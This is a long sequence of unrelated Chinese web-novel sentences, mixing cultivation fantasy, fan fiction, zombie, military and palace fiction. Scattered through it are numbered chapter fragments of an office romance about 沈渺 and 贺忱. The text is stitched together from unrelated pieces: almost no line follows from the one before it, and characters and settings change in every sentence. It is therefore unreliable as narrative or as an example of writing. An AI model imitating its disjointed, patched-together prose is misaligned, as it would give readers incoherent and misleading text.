此物便是那巫支祁的神血,王七郎若是吞了这神血,将其以吞灵神通炼化,自身肯定能够从上古神魔巫支祁的身上获得某种强横的力量或者神通。
在自然界里,它们会捕食其他妖怪,可是在古宅,白茧就开始偷懒了。
羽生和也破开所有的蜘蛛茧,里面的同学一个个面色青紫,呼吸脉搏微弱。
火头陀从后面缓缓走上,右手里光芒流转,逐渐覆盖住五根手指,一点点往上扬。
对此叶青也就不再多说,收拾了一下,就打了个电话后出门吃饭了。
一枚散发着金色光辉的半透明石头,内里还有着如同佛陀一般的纹路。
和他一起拜入宗门的,要么外出历练,要么常年闭关,要么负责一些具体的事务。
暗道,果然如此,看来想要杀他,一定要在白天进行。晚上跟他对上没有一点把握。
上了车,我们一路往城外驶去,出租房肯定是回不去了,王浩对我们的住所了若指掌,那里现在应该算是最危险的地方。
呸,我在想什么呢,不要脸,他可是馨馨的男朋友,我怎么能有这种想法。
游罗很不服气,刚才他坐在那没感觉到那人有多厉害,气场平平,不是什么大妖怪。游罗不服归不服,脚还是乖乖跟在陆敏后面。
琅邪知道是龙族求了情才使得人鱼还有一人活下,可见龙族是善良的。
合衣躺在床上,身上缠着八爪鱼般的赵霞,荆建仰天长叹,今晚算是见识到一哭二闹三上吊。到最后,还是赵霞获胜,她成功的把荆建留了下来。
既然,艾比斯说的这么直白,张天养再这样躲避下去也没有什么意思了。
“舞台造型夸张些。日常还是挺正常。”荆建取了一只馒头,咬了一口。
听到夜不歌的话,龙天跟苪凝相视一看,都苦笑了起来,这个夜不歌也太有才了一点吧?这样的话也说的出来。
就在他们犹豫的瞬间,刘青龙一把手中毒酒倒进口中,一口吞进腹中。
听到孽龙子这个名字,许久未曾有个情绪波动的九长老,此时脸色也有一点变化。
周冬忍起初还能应付着说一句知道了,时间长了他完完全全是放纵的状态,生生把自己熬成了风烛残年的模样。
创造这条魔法时,尼可勒梅的炼金术已经达到了一个巅峰,同时也是瓶颈,他发觉自己无法突破了。
“谢谢了,让我打探到了不少情报,要请我吃饭吗?”一炀喜笑颜开的问道。
星燃不知道,因为就在一分钟后,带土应该是瞳力不济了,被这么多起爆符冲击,哪怕有柱间细胞的森罗万象之力帮忙,短时间内也跟不上消耗的。
98.上次为了贺忱,这次呢?
战斗看似在相持,然而太平天国和大清相比底蕴到底是差了太多,赵高所推断的胜负只是时间问题,更是有着对战场形势的足够判断。
至此,天落山三位战力最强的金仙已经表明态度,其他客人,纵然有意维护天落山,又怎敢直撄其锋?
道姑收回法剑,正要继续赶路,忽然心中一动,转身向放烟花的地方走去。
苏格不知道黑里克家族怎么会和玥世家有了来往。他也想不明白,径直来到霍格沃茨马车旁边,玥雪依正一脸笑意看着自己。
只见龙椅之后,光芒瀑闪,好几道雷电“嗤嗤”的从天而降,打在龙椅后面的地上。
不认识的人,不过能蹲这里没被赶走的人肯定是莫斯特学院的老师没错了。
“因为我的出现和我的作用,就是负责帮助你的,而一旦最高操作系统认为我没有用了,就会把我收回直接清除出去,也就是说我就会从超级外挂系统里面消失,到时候也就是我死亡的时候了。”系统精灵淡淡的说道。
牛犊先也将黎破的尸体拖到山石后藏了起来,又用白雪将地上的红血掩盖起来。
可杜维所在的千年,也就是近百年前,英雄辈出,又多少豪杰魂落他乡。
门依然还是关着的,这一扇门没有因为某个东西的撞击而破碎或者打开。
创世只是轻轻的笑着,他并不觉得这有什么不对的,难道变强真的需要稳扎稳打的练习?着未免也太呆板了吧。
不过也难怪,这类的丹药是在是太难得了,先不说药方,能不能炼制还是问题那。但就在此时秦羽却想到了一条赚钱方法,如果他可以改良固魂丹的丹方,让他变得容易炼制,岂不是。。。
二十公里外,庄剑正和主任随意的闲聊着,突然停下脚步看向了远处。
不过好在再强的精力也有用完的时候,在将整个欧帕镇都逛了个底朝天之后,梦璐和露茜用完了它,连在外面吃饭的打算也推翻了,直接打道回府了。
在周瑞带着遥遥走远之后,军长大营中响起了“噼里啪啦”摔东西的声音。
“这算是警告么?”田野依旧是烂话说着,自己并不害怕这些人,虽然自己可以感觉得到这井上和彦也有修为。
解释道:“他不可能拥有如此巨大的优势,否则,轮回之主不如直接让他晋升为中级轮回者。
“我还真打算在这里常住了,你欢不欢迎?”修道看着卡尔斯似笑非笑得说道。
“你不放心我?放心吧,以我的修为在这帝都里谁还能伤得了我不成?”修道看着影一脸自信得说道。
而那双带着邪恶视线的眸子,更是证实了他便是在意识空间中,吸收了恶龙意识体,并觉醒了黑暗意志的恶龙夜风本人。
一声一声,是陪伴了她数千年,一直环绕在她身边的粘人精,跟屁虫们。
“好了,这个也不是你的过错,那个唱曲儿的应该是个圈套,在咱们的门口闹腾了这么长时间,难保没后续的事情。”胤直接说道。
上官云凌见状、摇了摇头,起身从我手中接过墨迹未干的合约,左手在上面轻轻恍了两个来回,神奇的现象发生了。‘楚天圣’三个新鲜墨汁大字,就已经像风干了一样。
这种感觉,千陨只觉得像是和她在现代社会的时候,他出门去买东西,不太熟悉,而她给他打电话,远程指导他应该买什么较合适时一样。
千陨心说,他也不是不明白,他只是不喜欢多言,而且,也没那么会组织语言,不是人人都像她这样,从任何方向,都能说得滴水不漏让人心服口服的。
她要是没受伤,斐漠就算重伤,那至少还有她和霍德华大公爵一起面对所有困难。
“放手,本宫乃当今皇后,你们好大的胆子,竟敢将本宫带来这里!”昏暗阴森的廊道中,传来上官颂歌的怒斥。
但是于斯陨而言,这已经是久违了的,想必,还得需要些时间才能适应吧。
他刚才答应这些,多半是想脱身,恐怕大脑空白的还没什么准注意呢。
此时,这些杀手们都傻了眼,怎么也没有想到,陈凡竟然如此强大。
那位贵胄少爷呼朋唤友,殷勤安排,熟络得很。吴嫂忙热情地恭请一行十余人上楼。这边吴意就有点下不来台了。
突然,一道道凶眸向着一恒瞪来,众人竟然齐刷刷怒视一恒,一个个都是亮起要杀人的目光,似乎要将一恒千刀万剐。
99.软软的,肉感很足。
贺忱紧贴着她躺在那里,衬衫扣子颗颗敞开,露出健壮精致的胸膛。
蜜麦色的肌肤透着深深的男性荷尔蒙。
几秒的迟疑后,沈渺蓦地将手缩回来。
随之而来的,是男人缓缓睁开眼眸,投来的目光带着几分睡意和慵懒。
沈渺忙不迭坐起来。
双手抓着薄被,正欲往身上扯时,发现自己穿着衣服。
他的脑海里回荡着儿子那句冷冰冰的开抢,悲愤欲绝,他已经猜到儿子是怕花掉一百八十亿的巨额家产,可能在心里巴不得他这个父亲早点儿死掉,然后就可以顺利继承全部财产。
她要像穆辰东学习,学会在逆境中找出自己的伤势,变被动为主动。
“再往前十余里,有一条河流,在河流这一边,有一个并不太显眼的山丘,那就是我们要去的地方。希望那里,没有被那些毫无人性的混蛋发现。”花骨朵说道。
而且他在元劫身上感觉到了一股极为危险的气息,而且他现在在对方的老窝里,由不得他不放弃这个念头。
于是所有人只能眼睁睁的看着马哲摁压了十几下又给张发达做两下人工呼吸,忙得不可开交,却无能为力。只能默默地祈祷马哲的救助有用,能够救活张发达。
宁玖儿实是不愿让其离开半步,不过她的身子确实需要调理,便点点头让他去了。
萧錾恨道:“你这邪魔,到这时候还敢花言巧语。”说完又要动手。
基达眼前的这个身着王立护果军服装的人,他有一头棕色的短发,下巴上长着散发着男性魅力的短须;额头上挂着两个护目镜,背后背着一支弩炮。
但是没办法,他们手中拥有四千块的武牌,在那一瞬间,葛覃和凌雪儿就有些后悔当初为什么要从唐宇那里瓜分武牌,现在倒好,他们成为了这里的最底层。
“谢谢你,加菲!”伊森已经熟悉了加菲的神奇,对于加菲的承诺,他十分的感激。
大家都学医术的,就算是医术有的会高超一点,但是本质上应该都一样。
稍微消失的久一点,大队长嚎起来的样子只会让便秘的门越关越紧。偏偏不按时吃饭,反而容易引起便秘。
“每天,我爹与县令家打交道,我姨娘就会交代我爹防着县令一家。
以往还能看见几个行人的街道上如今空无一人,大多都是临时建立起的兵营营帐,供不断从前线运回的伤兵,与救回的平民养伤。
出云的大臣,跟大夏的清流差不多,没有什么实际的本事,唯有嘴皮子利索。
这会儿她突然想念孟修钦家里的席梦思大床垫,那床垫质量特别好,所以孟修钦的腰也挺好的。
不过,半宅城是个什么地方,给自己送请柬?电视节倒是知道,成为第十八家电视台之后,这个业内的大节日无论如何也是有所了解的,只是却不知道这玩意还需要什么请柬。
“这个,你按我的要求建就好了,这墙不够结实,这养殖场的野猪容易跑了,我这不光是养殖场,还是狩猎场,等里面的野味多了,可以开发,让人到大青山里狩猎。”罗威笑道。
更动摇军心的是,太子殿下派了人日日在城外喊话,射了无数的告示进城,宽宏大量的表示:城内外双方原本都是国家养的将士,奈何因为柳逆的一己之私,不得不倒戈相向,实在是连反贼都算不上,只要开城,既往不咎。
100.沈渺,我们可以试试吗?
“仓库有什么好看的?”
浅姨拽住她,“你进屋陪卷卷吧,她回来以后整天闹情绪,到现在都不好好吃饭。”
沈渺又往仓库方向看了一眼,听到浅姨提卷卷,她这才调转方向。
生病的缘故,卷卷单独住一个房间。
张妈在家,见我们回来,她显得有些意外,我现在也没心思去问她什么,我只想安慰好冷墨琛,好好陪在他身边。
三天前苏煜阳动了凌秒的电脑,导致凌秒还没保存的稿子丢失了。今天稿子莫名其妙不见了,苏煜阳自然是第一嫌疑人。
宣布散会的时候,弗兰克队长单独点名让明蒂留下,其他人露出可怜的眼神,同时也有一点幸灾乐祸,就好像在学校里看到尖子生被老师训斥的样子。
庭院的翠竹叶子越发墨绿,大门出去,两边都是高大的法国梧桐。这里环境清幽,这个点道路上偶有车辆经过,秦方白高大的身影被路灯拉得很长,甚至有一部份笼罩住了她。
王凯走了进来问道,因为大头目一直都在研究王凯从弗朗西斯那里弄来的血清。
缅甸玉在当时来讲是非常珍贵的一种玉石,特别是那通身翡翠般的绿色,让威廉夫人惊喜连连。
我们没搭理那些家伙,也没透露这里的情况,但是据那些家伙说,拉纳卡市长和希腊东正教会的主教正在赶往这里,最多十分钟,就能抵达这里。
叶儿倒也没有多问我去黑曜宗做什么,她心里的想法很简单,我去哪里,她就去哪里。
不过就在他们前往雨王府的路上,却有三只铁甲青兕,拉着一辆装饰奢华,宝光四射的车驾,一路横冲直撞的疾驰而过,惊得路上的行人高声大叫,纷纷躲避,狼狈不堪。
二娘只有钟诚一个儿子,不想把儿子打出个好歹来,让钟家断了血脉。不过对丈夫却毫不留手,把钟家家主揍得狼奔兔脱,鬼哭狼嚎,胡子揪得一根不剩。
迦南学院的底蕴自然没有那些远古家族丰富,弄一块异空间作为内院驻地,但也是在山林之中设立了一处大阵,遮蔽了内院的真实位置。
他对老国君一直都很尊重,也很有礼貌,但也的确像他说的那样,就是晚辈对长辈的尊重而已。
看到斜躺在地上的长生,也露出震惊之极的神色,看来这位医门其子也没有想到,长生会伤得如此重。
上一次见到章蕣笙还是从金乌山脉出来的那会儿,那次是催促自己赶紧来这边。
“现在就是国家需要你的时候,相信你也发觉了自己身上的变化,你应该善用这种力量,成就更伟大的事业,享受更高的荣耀,而不是当一名保镖。”瞧得刘闯意动,阿杰加了一把火。
看到葛蜀手上的亮光,葛清尘知道大事不好,可是葛蜀已经出手了。
毕竟,对方说只是约束合体期以上的强者不能出手。但是合体期之下还有数个大境界的强者,那些都不是现在的自己能够抗衡的。
在能量的刺激下,容貌也越加焕发,原本的美人之姿,转为绝色,柔弱的气质中多了一股缥缈若仙的邪性,魅性。
别看当年玄阳古教那件事他有大功,但眼下这件事情他办得不好,圣主不惩罚他已经算是八辈子修来的福。
101.沈渺肚子里的孩子,是谁的!
其实,当初青州府来袭的时候,如果威逼万象门交出水之精魄,那万象门估计是会毫不犹豫地交出来的。可是青州府太强势了,一上来,根本不给万象门任何说话的机会,就直接大开杀戒了。
“看好了车型没有?”王俊杰一面走着一面问道,才是上午十点多钟,他决定慢慢游荡着去公司,多享受一会清闲的生活。
就是这么强硬,别看乌拉诺斯、利翁、蜚蠊三人都是名震三千界的证道圣人,战平安照样一点都不怵,说斥就斥,一点情面都不留,让三人脸色都僵在那里。
监狱外面围绕的丧尸大概数量在两万只左右,理论上来说是可以消灭的,不过实际情况需要消耗的子弹数目肯定要比理论上的多。所有六万发L型子弹是否能消灭这么多丧尸还是一个未知数。
老娘执意不肯,王雪松也拿她没法,总不能把她绑到疗养院去。陪老娘吃过饭以后,王雪松就骑着电瓶车回家,行至半途,他想想有些不安,便打了一通电话给彭晓艳。
不过有天拍水的支持,狄舒夜却是毫不担心,一步一步稳稳的做着这一系列步骤。
他才不会相信自己跟王柏出来办事,会那么巧遇到有人跳楼自尽。几分钟后,王柏提着一个袋子一脸平静地从楼里出来,邓顺马上就发动了汽车,等他上车之后,不等他吩咐就飞驰而去。
叶梵等人本来还想说话,却突然听到这话,顿时脊背一凉,如堕冰窟。
为此他不得不登上一艘捕鲸船,结果却发现这艘捕鲸船的目的非同一般实在是太一波三折了。
事实上,我们仅仅是一颗树上不同的枝桠,一时的暴风雨,吹得我们按同一方向飘动,可在狂风过后,每一根枝桠其实都有自己独特的、不同方向的生长姿势,都要为自己开花结果。
贾芸穿着宽松的衣服,神情慵懒的带着袭人和香菱往后院儿走去。
莫霄煜是他的亲生父亲,但这并不能左右他的选择。最好还是保持沉默。
良久后,刘思思嫣然一笑,眼神里柔情似水,隐约的似乎有泪珠凝结,欲往下流淌。
就好比今天他们追到密林,妖魔道的邪人做法,令密林之中起了滚滚黑雾,他的视线就因此受到了干扰。
完颜亮的话语让完颜宗弼和仆散忠义连连点头,他的确看出了这件事情中不同寻常的部分,完颜亮的确有才能,将来金国的重担可以压在他的身上。
幽蓝的眸子在不远处的兽尸尸体和苏乐之间来回跳动,染上疑惑的瞳孔猛地收缩,像是意识到什么,他拔腿跑了过去。
这尸体是他家族里一个极其出彩的后辈,给他时间,将来未必不会晋升到五境,成为分宗长老。
「他爹,老三说的也有道理。」邹红梅一听到林南风的话,便十分的赞同,这话简直是说到了她的心窝子里了。
虽然只是粗茶淡饭,但江枫也十分的欣慰,他拿起筷子,开始风卷残云般吃了起来。
萧北定是南梁的皇子,自然不敢用自己的名号,用了化名。而这南梁、北梁虽然相互敌对,但是天下的士子皆是一家,倒是并没有什么偏见。
而这就代表着,洛雪到了!毕竟冥之换位的距离不能太远,太远的就无法感应到彼此。这些距离,对于一个灵圣来说,并不远。
可现在的儿子已经长大了,有了自己要爱和守护的人,她这个母亲已经不是吴雨林人生中唯一的人了。段姝斓每每想到这里,心里就说不出的失落。
公韧和韦金珊互相看了一眼,心里觉得奇怪,一阵疾步,奔走到了西品丢弃东西的跟前,定睛一看,原来是一方手帕。公韧拾起来,仔细地打开手帕,见手帕里还包着一只白白的玉坠,公韧急忙要去追西品。
而最后位子的陈默,也静静的看向他们,准确的说,他从高心玥找吴雨桐麻烦的时候,一直都注视着他们。
李阳这个没心眼的家伙看胖子醒来了。就迫不及待要炫耀一下之前发生的事情。
只是不知她这个时候来此地做什么,在这个地方静静地呆了一个时辰,什么也没说,什么也没做,便又忽的消失踪影。
火凌他们自然也是这么想的,但不得不说凯旋眼内的设施完善程度甚至先进程度都是要超出他们的认知范围内的,也令他们见识到了上层阶级的生活环境,与这些个国家高层零距离接触。
我听了思思的话顿时觉得头皮发麻,回头看看眼前的男人,男人面无表情的看着我,好像随时都会爆发一样。
“老夫如何做,怕是还轮不到你来多管闲事吧?”司空野恨声道。
吕香儿听朝霞一出口,心中便是一动,安静了下来。她知道朝霞是想从霍青青那里了解霍青松知道多少,吕香儿也想知道便不在说话了。哪成想,霍青青没有听出朝霞的意思,倒是诉起自己的苦来。
聂俊卿不顾影响,自己还要保持形象呢。这种上不得台面的事,自然不好当众说起的。其实,只要聂俊卿稍微透露半句,朱慕云自然就明白了。
想到此处,出岫也无法对花舞英说出什么拒绝的狠话来。何况她每每前来闹腾,总要将云起和灼颜的死提上一提,也令出岫更觉得自责与难受。
尤菲眯起眼睛看去,距离太远,她只能看到一些影影绰绰的黑点,不时移动一下。
102.与之都有关联的,是他。
沈渺低垂着头,紧咬着内唇。
大脑飞速运转,却也找不到话对答贺忱。
“贺总,我就随口一说,哪有什么难言之隐,天下没不散的宴席,沈秘书还年轻,不能真为百荣干一辈子。”
陈凯有些发愣,倒不是不愿意,主要是他没想到蓝山忽然会这么说。
如果说对天下学子影响最深的学派是儒家的话,那对大奉武林影响最深的便是道家。
五家竞拍者里,一号栢城化工厂和三号栢城造纸厂都是受邀来参加竞拍的,实际上是充当充门面抬价的角色。因此他们在低价时还敢喊上一喊,价格抬到一定程度就不敢再喊价了,否则万一砸在手里可就把戏给演砸了。
下一刻,整个神像发出幽蓝色的荧光,星星点点的蓝光在空气中升腾起来。
后备箱传来猛烈的击打声,闻卿看了过去就站在原地手轻轻一抬,车竟然悬空浮起来又重重落下,随着落地的沉闷声,后备箱也随之裂开。
不过秦光耀是寿星,虽然是在家里面过生日,肯定不要他做菜,大部分菜肴是在五星酒店定的,然后秦卿会亲手给秦光耀做一碗长寿面。
如她所想。当夜朝雾就潜入沈远景的梦里将他的魂魄勾回了冥界。
刚一压下去的瞬间,妮露瞬间感觉到两只腿的韧带处如撕裂一般的痛。
“大夫,求你救救她。”沈重楼恳切的看向名医。南姜南前世野外生存的时候,为了防止野兽,她学了一手口技,用于模仿动物叫声,回避灾害。
看着阎远处的海平面,刘萌萌不知道她为什么要介意这些,但她就是该死的介意着,不仅内心又酸又痛,更感到深深的委屈难过,就好像自己被抛弃了一般,抛弃在这个陌生的城市,被彻底遗忘在人来人往的人潮当中。
不喜欢烟草的味道,因为烟草中带有尼古丁的成分,很伤身体。不过,比起尼古丁,他觉得窗户的主人更能令他伤身。这烟草的味道,微带了薰衣草的味道。有些涩!他讨厌这种感觉。他知道,薰衣草的话语是:等待爱情。
李振国站了起来说:“你们坐着,我去看看何方波把菜弄好了没有。”说完他向厨房走去了。
沉奈默……沉奈默……脑子里全是他的身影,笑着的、面无表情的、耍赖的、弱顽症的,默默的站在角落里注视我的,几乎占据了我整个大脑。
酒店的人员今天也换上了一身白装。她们中间个个面带微笑,带领着参加今天订婚典礼的客人。
星期六的上午,学校进行了各年级的集体舞比赛。各班出一名评委,六班评委是赵蕙。
“孟琰,那子辉是不是也……”夏雪正脸色说不出的难看,欲言又止。
“果然是灵儿出了事情。”看着通讯珠上传来的救命两字,林风呢喃一声,扔出一个阵盘,身形一闪,就消失在原地,也顾不得唾手可得的土灵珠了。
当时他见识不多,觉得约翰和黑袍死神实力也就那样,被卡费给压制了。
夏咏宁急着开口:“当然不是,我当时是失血过多了!”这男人就是爱自作多情。
适才兵卒带我们来这东厢的时候,我便暗记下了所处方位,所以不一刻时间我已来到了将军房的屋顶之上。在寻得一处较为隐蔽的地方后,轻拨开一片瓦蒴,低首向下往去。
103.没到公开的那一步?
“现在是上班时间。”
贺忱清冷的目光,夹杂着几丝酒意的迷离。
沈渺镇定解释,“程小姐不让我跟着,而且等下我要开车送您和程小姐回去。”
张科研与贺忱见面的次数不多。
先前几次见面,他都不觉得贺忱像传说中那样难沟通。
不知怎的,今天的贺忱身上有一股让人望而却步的冷漠。
可萧何脸上带着面具,皇甫槿并没有认出她。不过,怀中的人还真的是很轻。
也许还是因为月清儿的品性影响了自己的某些下意识的行为,或者,和御真之间,真的存在某种莫大的渊源。
她被自己的老公出卖了,她连一句抱怨都没处去说,反倒让出卖自己的人虐打的她话都说不出来。
这名字说起来也太好笑,但萧何又是个不爱给人改名字的,加上众人们都已经习惯,换了反倒不合适,也就这么叫着了。
感觉到了玛索尔的愤怒,大公爵也好,还是公爵也好,他们都不由的连连的后退。
天气越来越热,六月份的南方人类已经逐渐开始用地面煎鸡蛋吃了,这对于怕热的某些人来说,无疑是催命的。
血影说话的时候,这些鲜血已经远远不断的汇聚他伸出的那条手臂之上,然后形成了一朵朵莲花一般的缠绕在他的手臂之上,然后他缓缓的抬起了这条缠绕布满的血莲花的手臂,然后对着冲上来的大量的军队直接释放开来。
观音菩萨笑着看向龙玄,她也是准圣强者,虽然比不上老牌强者,但实力不弱。
萧何的眼睛直直地盯着正前方,什么都看不见,却一直睁着眼睛。
当人类遇到与自身非常相似但又存在细微差别的物体时,心中便会升起毛骨悚然的感觉。
萧雨还想说什么,但看到父亲阴沉的脸色,最终还是点点头离开了。
让我们再看看最可疑的丙家中都留下了什么证据,血迹、断指、被握住的玉佩。
在这两三个月的时间里边,他的境界又再次的提升了,陆辰的修炼纵然是没有混沌之地的加成,但也没有太大的差距了。
现存下来的神兽后裔全部都龟缩在兽界,根本没打算出来的意思。
冰雪大帝的实力比他们想象中的要强悍很多,竟然用自身灵力压制了魔气这么多年,而且还没有被别人发现。
成婚多年没有子嗣,朝野议论纷纷,加之对储君之位虎视眈眈的三皇子煽风点火,当今皇帝也渐渐起了疑心。
难道就愣是一点没看出来,父皇如今正处于气头上,什么话都听不进去吗?
但当道长生仔细感受一番身体后,又带着几分不确定地摇了摇头。
白蜡杆枪在手中“噗”的一抖,冲着空中的黑袍人一连扎出十余枪,且枪枪直指要害之处。
我坐在了沙发上,然后拿起了桌上的遥控器,关上了电视。我可不想一会有别的声音影响我看戏。
万妖殿可是天道盟的成员宗门之一,能够让他们顾忌的人能有几个?
司徒修远见路漫漫这话说得跟自己说错了一样,他只是把实话说出来,谁的她还生气了,他能怎么办?
“差不多了,这样的神雷,虽然淬体有效,但是,这不意味着,我就准许你,如此大肆掠夺我林家疆域内的生机灵气!”林羽直视那颗天道之眼,冷冰冰的开口说道。
104.沈渺孕检转档,碰贺忱
沈渺脑仁一阵胀痛,这局怎么破?
她并未回复任何消息,先收拾东西去上班。
从地下车库出来,乘电梯上楼,抵达一楼时电梯停下,进来不少人。
“沈秘书早,恭喜沈秘书!”
“沈秘书,你男朋友长得真好看。”
“道祖鸿钧天道中,单者为阳,双者为阴,是故以一为始,以三位生,以五为全,以九位尊,惟独对于那个七字,没有赋予其意,兄弟可知其中缘故?”李松自然之道孔宣心中在想什,却没有直接回答。
但翠蓝之星提供的真火酒是最上品的,其它有很多酒家仿冒真火酒也只敢打出火酒或者烧酒的牌,在味道上也远远逊色于翠蓝之星镇店之宝的真火酒。
那边袁洪也是好一阵气血翻腾。但终究仗着肉身强悍。挺了下来。袁洪将大手一挥。十万妖众在几位妖王地带领下。高声呼喊着“血债血偿”。如狼似虎地扑向蜀山。
但那时嵇康终究是凡夫俗子一人,虽创出广陵散,却弹奏不得曲中精妙,达不到天人合一的境界,所以那日在竹林中才被仓颉以先天甲木之精气控制万竹齐歌击败。
“平京的事情还算顺利,之前说得多。也不过是怕间有所耽搁罢了。左右就是将自己想得念得和几位老人沟通一下罢了,最终会有怎样的结果,当时是得不到回应的”。
“大哥,只要你不是一时兴起,那么你这个公益电影的事情,不管是资金还是设备、技术,我必然会全力支持。!萧寒在电话对老大如是说道。
“如此说来娘娘是不愿意了?”鲲鹏妖师冷笑连连,只怕若是涂山氏再说出一个不字,他立刻就会下手用强。
赵政策笑了笑:“那怎么好意思呢。”却也不推辞,觉得刘志高这人还是挺有意思的,交个朋友未尝不是个好事情。
转眼间已经走到了芭蕉洞之外,庄万古相当绅士的道:“送夫人便送到这了。”庄万古知道,这是自己第一次和铁扇公主接触,这第一次的接触还是莫要成深入为好,当然,庄万古也留了后手。
“不好意思,我占时不会回去。”许植尧摇摇头,打断了李虹的话,不让其继续说下去。
叶秋初略扫了一眼,计算机教室还挺大,电脑也不少,绝对比一个班的总人数要多,肯定会有不少空位。
叶秋在著城一中排名第六,全省排名第十一,绝对是个非常好的成绩,但对于叶秋来说,就是故意考砸了的结果,要不然,状元也是十拿九稳的事情。
“不了,嫂嫂,我还有功课要做,虽然住到西院,但也不能耽误。”荷花断然拒绝,并出言解释。
叶秋有一种非常不妙的感觉,看着黄霖走进去的那房间,和门口那几堆正在自己搅拌的粉末,他立刻又跳回了阳台,拉着也准备上屋顶的江印。
只是,斗篷上些许烧焦的痕迹,说明他们刚才可不像现在一样从容。
不同于杨采妮,菲菲只把李鹰他们送到门外,不过即使这样还是让李鹰发现了问题。
尤其是现在墨濯渊被淋湿后,更是给人一种难以抵御的禁欲中掺杂着的诱惑。
雪素也没办法,只能跟着她回去,两人爬上马车后,马车掉头往回赶。
105.你对程唯怡有感情吗
“不是。”
沈渺否认得干脆利落,她心跳快得厉害。
贺忱盯着她看。
“你们认识啊?”
秦川约莫三十来岁的年纪,肤色冷白,一双丹凤眼,中分的头发蓬松有型。
就算陆熙儿现在还是喜欢孟星辰,可她已经默默的把他放在心里了。
颜均很出色,洗去从战场上带回来的风霜,经过一年京城贵公子生活的熏陶,颜均的风采已经超越了当年的颜宓。
他们两个刚才还比较缓和,现在却又突然充满了火药味。而且刚才慕雪所说的过了三百年的秘密究竟是什么,这个我真是越来越想知道了。
两人在这台老虎机前坐了会,原本关注着他们的目光都已经收回去,不在关注他俩。
王胖子说的很有道理,现在确实有这种可能性,他们既然费了这么大的力量弄来这种矿石,怕是一定有什么特殊的作用。
又聊了一会,还是卡在之前的诸多疑问上,于是师父说,先休息,明日再说。
此时此刻,她只知道好痛,痛彻心扉,痛入骨髓,想要死的感觉越来越强烈。眼泪也控制不住的落下来。
树茂倒是有点猜测:“我想这是因为几万年的关系,你看,你的房屋都是建在石缝里面的,这些树桩也早已枯死,或者说早就被底下的热气将它们体内的水汽给蒸发干净了,而经历了万年之后,自然再也受不住任何的压力了。
所以现在他要做的事情就是找帮手,找一个能够帮助自己的帮手,不然这次可真的危险了!心里这样想着,兜则带着这份沉重的心思,向里面深入。
冯楠曦看着自己的哥哥被几人为难,一点也不想为他说话,谁叫他爱嘚瑟的?被逼迫活该,自己不加入进去一起逼迫他就不错了。
然后扛在身上,沿着沙滩外围寻找,走了不远,李司发现了第二只鳄鱼。
看到荀泽走进来,丁繁鑫跟姚娜都是稍微冷静下来,他们不冷静也不行,丁繁鑫可不敢在荀泽面前发脾气,姚娜也要保证自己在荀泽心目中的形象不会太差。
甚至希望可以说是最大,毕竟一灯当年退位时,就没有选择他的儿子继位。
在他的心里,如果这一回,政权能平稳度过,那他娶了吕风娇为妃,倒也不是不行,毕竟,对方也是一等一的美人,当然,皇后之位,就别想了。
可惜翼网似乎并没有意识到这一点,还以为是他们的游戏质量过硬,所以才取得成功。
“婉月,静安候毁你洛家,陛下屠你满门。你若要夺东陵天下,会夺得寸步难行,不必瞒你。你若能阻止洛川去北境的事。
她眯着眼睛,合着自己只是个陪衬,拿自己当借口让月龄来北京的罪魁祸首是他明哲吧。
“还有这样的事?爹娘糊涂,大嫂你怎么不拦着点?”陈萍一拍大腿嚷,想到那些粮食和肉,她就心痛。
然而游戏中画面一转,大母鹅发现狼并没有重新开始挑战boss,而是从一座寺庙中醒过来。
在两名辅助魂师的速度增幅下,朱竹云丰满的娇躯仿佛透明一般,一道淡淡的身影悄无声息地蹿出。
“特么的,怎么还不来。”他不耐烦的看了看自己的手表,刚准备拿出手机再催促一下,却听见自己房间门口传来敲门声。
106.你跟张先生到哪一步了
沈渺诧异地看向秦川。
像贺忱这样的男人,没有感情怎么会结婚?
除非当初跟她,为负责。
秦川的问题——
“喝多回家去醒酒,少在这里说胡话。”
贺忱避而不答,抓过秦川的外套,朝秦川脑袋上扔过去,“先走了。”
说完他率先离开包厢,沈渺回过神后立马跟上。
在十几年的内讧和仇杀之后,赵匡胤和赵光义兄弟的后代几乎都在彼此的仇杀中被杀的干干净净。
水火想克却又巧妙地融合,这使得三清一时之间对圣道有了几分更深的感悟。
抛开成见来说,眼前的这个年轻法师无疑真的是一个很适合铁匠这个生活职业的学徒。
这是她第一次质问母神,怜挲的目光带着疑惑与愤怒,直勾勾盯着微虚。然而此刻,她的心也在颤抖,她希望母神能慈爱地告诉她,这一切都是假的。
比方说,陈炜通过剧情解释,认为是昆仑创造了后来的人类,只是剥夺了生命力和力量,不再给凡人挑战昆仑的机会。。
奶胖深深的吐出了一口浊气,如释重负,而秦诚却拧紧了眉头:“奶胖,怕你是忘了师父的医术多精妙绝伦了吧。
即便北燕和南国立下盟约,以萧熠琰的性子,他若决心要战,朝中无人敢反对。
他能做到的就是在追求大道这条道路上一步一个脚印,他不想过顿悟成佛,他总觉得自己的道路应该用自己的脚,用自己的步伐慢慢地丈量。
刑天更是夸张,直接开启战神刑天模式,搜刮着巨蚁体内的晶石。
听的宇智波鼬的话,空的心中突然涌现强烈的愤怒!虽然还不清楚以前到底发生了什么,但是在看到前面四页被封印后,空的怒火已经有些收不住了。
话还没说完,就听电梯发出了剧烈的响声,然后猛地下滑,阮萤脚底悬空,失声尖叫,惊慌间被一个坚实有力的手臂揽住,短暂的几秒后,电梯哐当一声停下,阮萤重重地砸在了什么人身上。
第三点是重中之重,对其进行宗教信仰和政治倾向的考核,赛琳娜不指望能培养出忠心耿耿的巩固之臣,只需要对方深刻明白他的权力来自于谁,应该为谁效力即可。
同样的,合水镇上,镇上的第一高手一只虎朱倩,也在看着新闻。她也同样的目瞪口呆,她知道楚涛很强。但真的没有想到,楚涛会强到这个地步。她也不由的暗自庆幸,还好她当时,对着楚涛低头了。
任命:陈宇为主力步兵团三团团长,葛老八为副团长授予中校军衔。
正因如此,一个是装填时间,一个是制作成本,导致前装线膛枪跟滑膛枪同时被发明出来,却一直没有被普及。
“奶奶的不就是杀人吗?就当畜生宰杀了!一排长没有杀过人,老子跟你可是杀过,一刀下去!杀鸡的时候鸡是怎么死的,人就是怎么死的。”三排长接话道。
赛里斯眯眼看着后方没有进入战团的数名爵位血族军官,忍住了让克尔苏加德上去战斗的冲动。
当吉尔伽美什看见自己射出去的宝具被一道道熟悉的蓝色光环吞噬后,吉尔伽美什原本高傲的表情已经荡然无存,眼中只剩下惊愕。
佟副军长带着一众军官,离开军部后!吩咐自己副官道:“倪副官你去大刀团跑一趟,告诉郭团长!不要害怕,是敌人杀了就是,佟某给他顶着。
107.沈渺,你还躲我
“怎么是你?”
明黎艳以为,贺忱是跟程唯怡在一起。
